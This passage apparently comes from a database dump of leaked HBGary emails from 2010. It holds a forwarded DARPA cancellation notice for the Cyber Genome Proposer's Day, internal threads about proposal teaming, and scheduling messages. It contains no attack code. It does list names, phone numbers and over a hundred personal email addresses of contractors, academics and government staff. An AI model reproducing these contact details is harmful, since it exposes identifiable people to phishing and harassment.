&lt;hal.aldridge@sypris.com&gt;, \"gshannon@setcorp.com\" &lt;gshannon@setcorp.com&gt;, \"vijay@ciphersolutions.com\" &lt;vijay@ciphersolutions.com&gt;, \"george@roguegenius.com\" &lt;george@roguegenius.com&gt;, \"patrick.w.phillips@saic.com\" &lt;patrick.w.phillips@saic.com&gt;, \"richard.arnold@macb.com\" &lt;richard.arnold@macb.com&gt;, \"preston.werntz@dhs.gov\" &lt;preston.werntz@dhs.gov&gt;, \"dihrie@semandex.net\" &lt;dihrie@semandex.net&gt;, \"jason.upchurch@gd-ais.com\" &lt;jason.upchurch@gd-ais.com&gt;, \"danstevenson@rti.org\" &lt;danstevenson@rti.org&gt;, \"michael.harbison@gd-ais.com\" &lt;michael.harbison@gd-ais.com&gt;, \"harold.Rodriguez@gd-asi.com\" &lt;harold.Rodriguez@gd-asi.com&gt;, \"mccusker@sonalysts.com\" &lt;mccusker@sonalysts.com&gt;, \"scottso@sonalysts.com\" &lt;scottso@sonalysts.com&gt;, \"marc.zbinden@nisc-llc.com\" &lt;marc.zbinden@nisc-llc.com&gt;, \"patrick@tripledex.com\" &lt;patrick@tripledex.com&gt;, \"ebasu@sentekglobal.com\" &lt;ebasu@sentekglobal.com&gt;, \"kevin.morrison@parsons.com\" &lt;kevin.morrison@parsons.com&gt;, \"ltinnel@globalinfotek.com\" &lt;ltinnel@globalinfotek.com&gt;, \"rick.mcgeer@hp.com\" &lt;rick.mcgeer@hp.com&gt;, \"stephen.barish@macb.com\" &lt;stephen.barish@macb.com&gt;, \"patrick.crago@nisc-llc.com\" &lt;patrick.crago@nisc-llc.com&gt;, \"dxu@cs.purdue.edu\" &lt;dxu@cs.purdue.edu&gt;, \"dave_m_gursky@raytheon.com\" &lt;dave_m_gursky@raytheon.com&gt;, \"guttman@us.ibm.com\" &lt;guttman@us.ibm.com&gt;, \"toweissy@vt.edu\" &lt;toweissy@vt.edu&gt;, \"ccramer@siginnovations.com\" &lt;ccramer@siginnovations.com&gt;, \"lkennedy@siginnovations.com\" &lt;lkennedy@siginnovations.com&gt;, \"lbengfort@cengen.com\" &lt;lbengfort@cengen.com&gt;, \"lkain@cra.com\" &lt;lkain@cra.com&gt;, \"aghosh1@gmu.edu\" &lt;aghosh1@gmu.edu&gt;, \"joshua.davis@gtri.gatech.edu\" &lt;joshua.davis@gtri.gatech.edu&gt;, \"zmitchell@logostech.net\" &lt;zmitchell@logostech.net&gt;, \"j@appranger.com\" &lt;j@appranger.com&gt;, \"kane@referentia.com\" &lt;kane@referentia.com&gt;, \"jsmith@referentia.com\" &lt;jsmith@referentia.com&gt;, \"twilliams@referentia.com\" &lt;twilliams@referentia.com&gt;, \"dchang@referentia.com\" &lt;dchang@referentia.com&gt;, \"kphillips@overwatch.textron.com\" &lt;kphillips@overwatch.textron.com&gt;, \"sdynes@dartmouth.edu\" &lt;sdynes@dartmouth.edu&gt;, \"michael.collins@redjack.com\" &lt;michael.collins@redjack.com&gt;, \"greg.virgin@redjack.com\" &lt;greg.virgin@redjack.com&gt;, \"john.mchugh@redjack.com\" &lt;john.mchugh@redjack.com&gt;, \"jeff.janies@redjack.com\" &lt;jeff.janies@redjack.com&gt;, \"sang.chin@jhuapl.edu\" &lt;sang.chin@jhuapl.edu&gt;, \"paul.b.jaynes@raytheon.com\" &lt;paul.b.jaynes@raytheon.com&gt;, \"rlinge@sei.cmu.edu\" &lt;rlinge@sei.cmu.edu&gt;, \"soswald@sigovs.com\" &lt;soswald@sigovs.com&gt;, \"kppande@msn.com\" &lt;kppande@msn.com&gt;, \"steve@atc-nycorp.com\" &lt;steve@atc-nycorp.com&gt;, \"hinoue@atc-nycorp.com\" &lt;hinoue@atc-nycorp.com&gt;, \"jadavis4@rockwellcollins.com\" &lt;jadavis4@rockwellcollins.com&gt;, \"tburgess@securedsciences.com\" &lt;tburgess@securedsciences.com&gt;, \"jeehye@securedsciences.com\" &lt;jeehye@securedsciences.com&gt;, \"walczak@avi.com\" &lt;walczak@avi.com&gt;, \"caguerreri@gmail.com\" &lt;caguerreri@gmail.com&gt;, \"raj.kant@baesystems.com\" &lt;raj.kant@baesystems.com&gt;, \"rlevy@i-a-i.com\" &lt;rlevy@i-a-i.com&gt;, \"ONeillDon@aol.com\" &lt;ONeillDon@aol.com&gt;, \"Rod.Tjoelker@Boeing.com\" &lt;Rod.Tjoelker@boeing.com&gt;, \"dmatsunaga@referentia.com\" &lt;dmatsunaga@referentia.com&gt;, \"gratson@research.ge.com\" &lt;gratson@research.ge.com&gt;, \"matarazzo1@llnl.gov\" &lt;matarazzo1@llnl.gov&gt;, \"christian.espinosa@eads-na-security.com\" &lt;christian.espinosa@eads-na-security.com&gt;, \"geaton@milcord.com\" &lt;geaton@milcord.com&gt;, \"tom@mccabetech.com\" &lt;tom@mccabetech.com&gt;, \"pc@mitre.org\" &lt;pc@mitre.org&gt;, \"michael.zeberlein@harris.com\" &lt;michael.zeberlein@harris.com&gt;, \"sbarnum@cigital.com\" &lt;sbarnum@cigital.com&gt;, \"evans@ge.com\" &lt;evans@ge.com&gt;, \"judith.c.spering@boeing.com\" &lt;judith.c.spering@boeing.com&gt;, \"philippe.byrnes@ddefend.com\" &lt;philippe.byrnes@ddefend.com&gt;, \"adinaburg@sigovs.cm\" &lt;adinaburg@sigovs.cm&gt;, \"christopher.jones@harris.com\" &lt;christopher.jones@harris.com&gt;, \"kvanbure@harris.com\" &lt;kvanbure@harris.com&gt;, \"fpound@sigovs.com\" &lt;fpound@sigovs.com&gt;, \"roelker@gmail.com\" &lt;roelker@gmail.com&gt;, \"pwilson@securedsciences.com\" &lt;pwilson@securedsciences.com&gt;, \"adahnert@overwatch.textron.com\" &lt;adahnert@overwatch.textron.com&gt;, \"Brian.Masterson@ngc.com\" &lt;Brian.Masterson@ngc.com&gt;, \"irby@pikewerks.com\" &lt;irby@pikewerks.com&gt;, \"melski@grammatech.com\" &lt;melski@grammatech.com&gt;\r\n\r\n\r\nAll,&nbsp;Due to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.&nbsp; We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.&nbsp; There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.&nbsp;Please confirm receipt of this message by replying to this email.&nbsp;&nbsp;Thank you and we apologize for any inconvenience,&nbsp;Renee MooreSETADARPA/STOrenee.moore.ctr@darpa.mil703-351-9284&nbsp;-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12239,'aaron_hbgary_com/12239.html'),(2264,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001030.M225181P3547Q2264.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Ever hear from','nope but I didn\'t call her back on Friday.\r\nAaron\r\n\r\nOn Feb 8, 2010, at 7:56 PM, Ted Vera wrote:\r\n\r\n> Kathy???\r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7223,'aaron_hbgary_com/7223.html'),(2265,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001030.M437979P3547Q2265.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Hi Mike,I can\'t remember what time frame last we discussed, things have been turned a bit around. &nbsp;What does this week look like for you?AaronOn Feb 4, 2010, at 2:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Any time possible next week ?&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Mulville, Michael E.&nbsp;Sent:&nbsp;Thursday, January 28, 2010 2:27 PMTo:&nbsp;Aaron BarrSubject:&nbsp;RE: Virtual Introduction&nbsp;Aaron –&nbsp;How does 2 PM sound on Feb 4th&nbsp;(Thursday )?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 28, 2010 1:43 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;How does next Thursday work? &nbsp;It shows I responded to you already but not sure what I responded with...a bit crazy here as well. :)&nbsp;AaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:&nbsp;Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4075,'aaron_hbgary_com/4075.html'),(2266,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001030.M653285P3547Q2266.eml','dpluber@nsa.gov','Information Operations','Hi Dave,\r\n\r\nI was asked to contact you regarding an IO discussion you had with a few of our folks at the IAE in Nashville last week.  I would be happy to discuss.  Let me know when is a good time to call.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13566,'aaron_hbgary_com/13566.html'),(2267,'2010-02-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001030.M904628P3547Q2267.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Cyber Genome, WHO\'s WHO','We know a lot of these people.  HBGary needs to think through its tech approach, then we will have a better handle on where we have holes.  In particular, I&#39;d love to see Greg put fingers to the keyboard and start pounding out some ideas and diagrams.  We&#39;ve won in the past when we wrapped our proposal around some core ideas from the inner reaches of Greg&#39;s creative genius.\r\n\r\n \r\nGreg, for better or worse, you are squarely on the critical path to HBGary completing 3 excellent winning proposals.\r\n \r\nOn Mon, Feb 8, 2010 at 9:57 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSo based on this list a few questions. \r\n\r\n1. Is there anyone on the list that stands out as good team mates, even the smalls.  Someone that brings thought leadership to the digital artifact problem.\r\n2. Why didn&#39;t folks that know us that are on the list call us?  Mr. Don Bailey.\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 9:50 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nThis list has lots of gov&#39;t contractors for me to send emails to or track down their phone numbers to call them.  After all, these people have expressed interest in malware related topics.\r\n \r\nOn Mon, Feb 8, 2010 at 9:27 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nLooks like she screwed up.  Lol, didn&#39;t find mandiant anywhere on here, but there are alot of familier names...\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER&#39;S DAYTo: &quot;justin.hornberger@obsidiancyber.com&quot; &lt;justin.hornberger@obsidiancyber.com&gt;, &quot;vernon.joyner@qinetiq-na.com&quot; &lt;vernon.joyner@qinetiq-na.com&gt;, &quot;deborah.frincke@pnl.gov&quot; &lt;deborah.frincke@pnl.gov&gt;, &quot;jaime@semandex.net&quot; &lt;jaime@semandex.net&gt;, &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;daniel.blitz@honeywell.com&quot; &lt;daniel.blitz@honeywell.com&gt;, &quot;shawn_ricketts@appsig.com&quot; &lt;shawn_ricketts@appsig.com&gt;, &quot;mfisk@lanl.gov&quot; &lt;mfisk@lanl.gov&gt;, &quot;skdao@hrl.com&quot; &lt;skdao@hrl.com&gt;, &quot;gholland@hrl.com&quot; &lt;gholland@hrl.com&gt;, &quot;gemami@globalinfotek.com&quot; &lt;gemami@globalinfotek.com&gt;, &quot;nigam@globalinfotek.com&quot; &lt;nigam@globalinfotek.com&gt;, &quot;mbanderson@teledyne.com&quot; &lt;mbanderson@teledyne.com&gt;, &quot;westby@globalcyberrisk.com&quot; &lt;westby@globalcyberrisk.com&gt;, &quot;bob@stratton.net&quot; &lt;bob@stratton.net&gt;, &quot;waa@cs.umd.edu&quot; &lt;waa@cs.umd.edu&gt;, &quot;brian.masterson@ngc.com&quot; &lt;brian.masterson@ngc.com&gt;, &quot;michael.witten@gtri.gatech.edu&quot; &lt;michael.witten@gtri.gatech.edu&gt;, &quot;dbailey@blackbirdtech.com&quot; &lt;dbailey@blackbirdtech.com&gt;, &quot;aiodice@blackbirdtech.com&quot; &lt;aiodice@blackbirdtech.com&gt;, &quot;jlowry@bbn.com&quot; &lt;jlowry@bbn.com&gt;, &quot;bfanelli@allencorporation.com&quot; &lt;bfanelli@allencorporation.com&gt;, &quot;vikram@i-a-i.com&quot; &lt;vikram@i-a-i.com&gt;, &quot;drankin@kadix.com&quot; &lt;drankin@kadix.com&gt;, &quot;bob@semandex.net&quot; &lt;bob@semandex.net&gt;, &quot;dean_a_gossett@raytheon.com&quot; &lt;dean_a_gossett@raytheon.com&gt;, &quot;tmccabe@mccabe.com&quot; &lt;tmccabe@mccabe.com&gt;, &quot;demoney@sri.com&quot; &lt;demoney@sri.com&gt;, &quot;rob@netwitness.com&quot; &lt;rob@netwitness.com&gt;, &quot;jzhou@teledyne.com&quot; &lt;jzhou@teledyne.com&gt;, &quot;swarup@mitre.org&quot; &lt;swarup@mitre.org&gt;, &quot;brianneo@securedecisions.avi.com&quot; &lt;brianneo@securedecisions.avi.com&gt;, &quot;jnhq@yahoo.com&quot; &lt;jnhq@yahoo.com&gt;, &quot;valerie.guralnik@honeywell.com&quot; &lt;valerie.guralnik@honeywell.com&gt;, &quot;Andy.Thompson@jhuapl.edu&quot; &lt;Andy.Thompson@jhuapl.edu&gt;, &quot;mjunod@atl.lmco.com&quot; &lt;mjunod@atl.lmco.com&gt;, &quot;rishab.malhotra@saic.com&quot; &lt;rishab.malhotra@saic.com&gt;, &quot;bayj@ainfosec.com&quot; &lt;bayj@ainfosec.com&gt;, &quot;shamilton@distributedinfinity.com&quot; &lt;shamilton@distributedinfinity.com&gt;, &quot;aott@distributedinfinity.com&quot; &lt;aott@distributedinfinity.com&gt;, &quot;souvas@ainfosec.com&quot; &lt;souvas@ainfosec.com&gt;, &quot;Tom@tgoodwincom.com&quot; &lt;Tom@tgoodwincom.com&gt;, &quot;jgibbins@distributedinfinity.com&quot; &lt;jgibbins@distributedinfinity.com&gt;, &quot;jay.civitillO@sypris.com&quot; &lt;jay.civitillO@sypris.com&gt;, &quot;email@stefanoforesti.com&quot; &lt;email@stefanoforesti.com&gt;, &quot;matthew_elder@symantec.com&quot; &lt;matthew_elder@symantec.com&gt;, &quot;raj.rajagopalan@hp.com&quot; &lt;raj.rajagopalan@hp.com&gt;, &quot;troy.swinehart@sypris.com&quot; &lt;troy.swinehart@sypris.com&gt;, &quot;hal.aldridge@sypris.com&quot; &lt;hal.aldridge@sypris.com&gt;, &quot;gshannon@setcorp.com&quot; &lt;gshannon@setcorp.com&gt;, &quot;vijay@ciphersolutions.com&quot; &lt;vijay@ciphersolutions.com&gt;, &quot;george@roguegenius.com&quot; &lt;george@roguegenius.com&gt;, &quot;patrick.w.phillips@saic.com&quot; &lt;patrick.w.phillips@saic.com&gt;, &quot;richard.arnold@macb.com&quot; &lt;richard.arnold@macb.com&gt;, &quot;preston.werntz@dhs.gov&quot; &lt;preston.werntz@dhs.gov&gt;, &quot;dihrie@semandex.net&quot; &lt;dihrie@semandex.net&gt;, &quot;jason.upchurch@gd-ais.com&quot; &lt;jason.upchurch@gd-ais.com&gt;, &quot;danstevenson@rti.org&quot; &lt;danstevenson@rti.org&gt;, &quot;michael.harbison@gd-ais.com&quot; &lt;michael.harbison@gd-ais.com&gt;, &quot;harold.Rodriguez@gd-asi.com&quot; &lt;harold.Rodriguez@gd-asi.com&gt;, &quot;mccusker@sonalysts.com&quot; &lt;mccusker@sonalysts.com&gt;, &quot;scottso@sonalysts.com&quot; &lt;scottso@sonalysts.com&gt;, &quot;marc.zbinden@nisc-llc.com&quot; &lt;marc.zbinden@nisc-llc.com&gt;, &quot;patrick@tripledex.com&quot; &lt;patrick@tripledex.com&gt;, &quot;ebasu@sentekglobal.com&quot; &lt;ebasu@sentekglobal.com&gt;, &quot;kevin.morrison@parsons.com&quot; &lt;kevin.morrison@parsons.com&gt;, &quot;ltinnel@globalinfotek.com&quot; &lt;ltinnel@globalinfotek.com&gt;, &quot;rick.mcgeer@hp.com&quot; &lt;rick.mcgeer@hp.com&gt;, &quot;stephen.barish@macb.com&quot; &lt;stephen.barish@macb.com&gt;, &quot;patrick.crago@nisc-llc.com&quot; &lt;patrick.crago@nisc-llc.com&gt;, &quot;dxu@cs.purdue.edu&quot; &lt;dxu@cs.purdue.edu&gt;, &quot;dave_m_gursky@raytheon.com&quot; &lt;dave_m_gursky@raytheon.com&gt;, &quot;guttman@us.ibm.com&quot; &lt;guttman@us.ibm.com&gt;, &quot;toweissy@vt.edu&quot; &lt;toweissy@vt.edu&gt;, &quot;ccramer@siginnovations.com&quot; &lt;ccramer@siginnovations.com&gt;, &quot;lkennedy@siginnovations.com&quot; &lt;lkennedy@siginnovations.com&gt;, &quot;lbengfort@cengen.com&quot; &lt;lbengfort@cengen.com&gt;, &quot;lkain@cra.com&quot; &lt;lkain@cra.com&gt;, &quot;aghosh1@gmu.edu&quot; &lt;aghosh1@gmu.edu&gt;, &quot;joshua.davis@gtri.gatech.edu&quot; &lt;joshua.davis@gtri.gatech.edu&gt;, &quot;zmitchell@logostech.net&quot; &lt;zmitchell@logostech.net&gt;, &quot;j@appranger.com&quot; &lt;j@appranger.com&gt;, &quot;kane@referentia.com&quot; &lt;kane@referentia.com&gt;, &quot;jsmith@referentia.com&quot; &lt;jsmith@referentia.com&gt;, &quot;twilliams@referentia.com&quot; &lt;twilliams@referentia.com&gt;, &quot;dchang@referentia.com&quot; &lt;dchang@referentia.com&gt;, &quot;kphillips@overwatch.textron.com&quot; &lt;kphillips@overwatch.textron.com&gt;, &quot;sdynes@dartmouth.edu&quot; &lt;sdynes@dartmouth.edu&gt;, &quot;michael.collins@redjack.com&quot; &lt;michael.collins@redjack.com&gt;, &quot;greg.virgin@redjack.com&quot; &lt;greg.virgin@redjack.com&gt;, &quot;john.mchugh@redjack.com&quot; &lt;john.mchugh@redjack.com&gt;, &quot;jeff.janies@redjack.com&quot; &lt;jeff.janies@redjack.com&gt;, &quot;sang.chin@jhuapl.edu&quot; &lt;sang.chin@jhuapl.edu&gt;, &quot;paul.b.jaynes@raytheon.com&quot; &lt;paul.b.jaynes@raytheon.com&gt;, &quot;rlinge@sei.cmu.edu&quot; &lt;rlinge@sei.cmu.edu&gt;, &quot;soswald@sigovs.com&quot; &lt;soswald@sigovs.com&gt;, &quot;kppande@msn.com&quot; &lt;kppande@msn.com&gt;, &quot;steve@atc-nycorp.com&quot; &lt;steve@atc-nycorp.com&gt;, &quot;hinoue@atc-nycorp.com&quot; &lt;hinoue@atc-nycorp.com&gt;, &quot;jadavis4@rockwellcollins.com&quot; &lt;jadavis4@rockwellcollins.com&gt;, &quot;tburgess@securedsciences.com&quot; &lt;tburgess@securedsciences.com&gt;, &quot;jeehye@securedsciences.com&quot; &lt;jeehye@securedsciences.com&gt;, &quot;walczak@avi.com&quot; &lt;walczak@avi.com&gt;, &quot;caguerreri@gmail.com&quot; &lt;caguerreri@gmail.com&gt;, &quot;raj.kant@baesystems.com&quot; &lt;raj.kant@baesystems.com&gt;, &quot;rlevy@i-a-i.com&quot; &lt;rlevy@i-a-i.com&gt;, &quot;ONeillDon@aol.com&quot; &lt;ONeillDon@aol.com&gt;, &quot;Rod.Tjoelker@Boeing.com&quot; &lt;Rod.Tjoelker@boeing.com&gt;, &quot;dmatsunaga@referentia.com&quot; &lt;dmatsunaga@referentia.com&gt;, &quot;gratson@research.ge.com&quot; &lt;gratson@research.ge.com&gt;, &quot;matarazzo1@llnl.gov&quot; &lt;matarazzo1@llnl.gov&gt;, &quot;christian.espinosa@eads-na-security.com&quot; &lt;christian.espinosa@eads-na-security.com&gt;, &quot;geaton@milcord.com&quot; &lt;geaton@milcord.com&gt;, &quot;tom@mccabetech.com&quot; &lt;tom@mccabetech.com&gt;, &quot;pc@mitre.org&quot; &lt;pc@mitre.org&gt;, &quot;michael.zeberlein@harris.com&quot; &lt;michael.zeberlein@harris.com&gt;, &quot;sbarnum@cigital.com&quot; &lt;sbarnum@cigital.com&gt;, &quot;evans@ge.com&quot; &lt;evans@ge.com&gt;, &quot;judith.c.spering@boeing.com&quot; &lt;judith.c.spering@boeing.com&gt;, &quot;philippe.byrnes@ddefend.com&quot; &lt;philippe.byrnes@ddefend.com&gt;, &quot;adinaburg@sigovs.cm&quot; &lt;adinaburg@sigovs.cm&gt;, &quot;christopher.jones@harris.com&quot; &lt;christopher.jones@harris.com&gt;, &quot;kvanbure@harris.com&quot; &lt;kvanbure@harris.com&gt;, &quot;fpound@sigovs.com&quot; &lt;fpound@sigovs.com&gt;, &quot;roelker@gmail.com&quot; &lt;roelker@gmail.com&gt;, &quot;pwilson@securedsciences.com&quot; &lt;pwilson@securedsciences.com&gt;, &quot;adahnert@overwatch.textron.com&quot; &lt;adahnert@overwatch.textron.com&gt;, &quot;Brian.Masterson@ngc.com&quot; &lt;Brian.Masterson@ngc.com&gt;, &quot;irby@pikewerks.com&quot; &lt;irby@pikewerks.com&gt;, &quot;melski@grammatech.com&quot; &lt;melski@grammatech.com&gt;\r\n\r\n\r\n\r\nAll,\r\n \r\nDue to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.  We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.  There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.\r\n\r\n \r\nPlease confirm receipt of this message by replying to this email.\r\n \r\n \r\nThank you and we apologize for any inconvenience,\r\n \r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8843,'aaron_hbgary_com/8843.html'),(2268,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001031.M114217P3547Q2268.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Genome, WHO\'s WHO','We don\'t want to put too much effort into developing a complete offering until we see where the teaming falls out. &nbsp;We will have to integrate or at least weave our offering in with our team mates. &nbsp;But definitely good to have an outline/rough story.We know we are going to have to deal with a massive amount of data, categorization, comparison, visualization. &nbsp;Automated data processing at this level will requires some strong math/data analytics. &nbsp;Who are some folks that like to push the boundaries and not just within their existing product line.In the end it may just come down to us, GD and/or Sparta with maybe a little NG. &nbsp;Once the dollars get split out per year your talking a little over $10M for 4 tasks, say $2.5M per task per year for only 1 award per tech area, reduced value if there is more. &nbsp;The big contractors can eat through that pretty quickly. &nbsp;So any additions to the team would need significant cause.Who pushes the boundaries of data analytics?AaronOn Feb 8, 2010, at 10:20 PM, Bob Slapnik wrote:We know a lot of these people.&nbsp;&nbsp;HBGary needs to&nbsp;think through its tech approach, then we will have a better handle on where we have holes.&nbsp; In particular, I\'d love to see Greg put fingers to the keyboard and start pounding out some ideas and diagrams.&nbsp;&nbsp;We\'ve won in the past when we wrapped our proposal around some core ideas from the inner reaches of Greg\'s creative genius.\r\n\r\n&nbsp;\r\nGreg, for better or worse, you are squarely on the critical path to HBGary completing 3 excellent winning proposals.\r\n&nbsp;\r\nOn Mon, Feb 8, 2010 at 9:57 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSo based on this list a few questions. \r\n\r\n1. Is there anyone on the list that stands out as good team mates, even the smalls. &nbsp;Someone that brings thought leadership to the digital artifact problem.\r\n2. Why didn\'t folks that know us that are on the list call us? &nbsp;Mr. Don Bailey.\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 9:50 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nThis list has lots of gov\'t contractors for me to send emails to or track down their phone numbers&nbsp;to call them.&nbsp; After all, these people have expressed interest in malware related topics.\r\n&nbsp;\r\nOn Mon, Feb 8, 2010 at 9:27 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nLooks like she screwed up.&nbsp; Lol, didn\'t find mandiant anywhere on here, but there are alot of familier names...\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER\'S DAYTo: \"justin.hornberger@obsidiancyber.com\" &lt;justin.hornberger@obsidiancyber.com&gt;, \"vernon.joyner@qinetiq-na.com\" &lt;vernon.joyner@qinetiq-na.com&gt;, \"deborah.frincke@pnl.gov\" &lt;deborah.frincke@pnl.gov&gt;, \"jaime@semandex.net\" &lt;jaime@semandex.net&gt;, \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;, \"bob@hbgary.com\" &lt;bob@hbgary.com&gt;, \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;, \"rich@hbgary.com\" &lt;rich@hbgary.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"daniel.blitz@honeywell.com\" &lt;daniel.blitz@honeywell.com&gt;, \"shawn_ricketts@appsig.com\" &lt;shawn_ricketts@appsig.com&gt;, \"mfisk@lanl.gov\" &lt;mfisk@lanl.gov&gt;, \"skdao@hrl.com\" &lt;skdao@hrl.com&gt;, \"gholland@hrl.com\" &lt;gholland@hrl.com&gt;, \"gemami@globalinfotek.com\" &lt;gemami@globalinfotek.com&gt;, \"nigam@globalinfotek.com\" &lt;nigam@globalinfotek.com&gt;, \"mbanderson@teledyne.com\" &lt;mbanderson@teledyne.com&gt;, \"westby@globalcyberrisk.com\" &lt;westby@globalcyberrisk.com&gt;, \"bob@stratton.net\" &lt;bob@stratton.net&gt;, \"waa@cs.umd.edu\" &lt;waa@cs.umd.edu&gt;, \"brian.masterson@ngc.com\" &lt;brian.masterson@ngc.com&gt;, \"michael.witten@gtri.gatech.edu\" &lt;michael.witten@gtri.gatech.edu&gt;, \"dbailey@blackbirdtech.com\" &lt;dbailey@blackbirdtech.com&gt;, \"aiodice@blackbirdtech.com\" &lt;aiodice@blackbirdtech.com&gt;, \"jlowry@bbn.com\" &lt;jlowry@bbn.com&gt;, \"bfanelli@allencorporation.com\" &lt;bfanelli@allencorporation.com&gt;, \"vikram@i-a-i.com\" &lt;vikram@i-a-i.com&gt;, \"drankin@kadix.com\" &lt;drankin@kadix.com&gt;, \"bob@semandex.net\" &lt;bob@semandex.net&gt;, \"dean_a_gossett@raytheon.com\" &lt;dean_a_gossett@raytheon.com&gt;, \"tmccabe@mccabe.com\" &lt;tmccabe@mccabe.com&gt;, \"demoney@sri.com\" &lt;demoney@sri.com&gt;, \"rob@netwitness.com\" &lt;rob@netwitness.com&gt;, \"jzhou@teledyne.com\" &lt;jzhou@teledyne.com&gt;, \"swarup@mitre.org\" &lt;swarup@mitre.org&gt;, 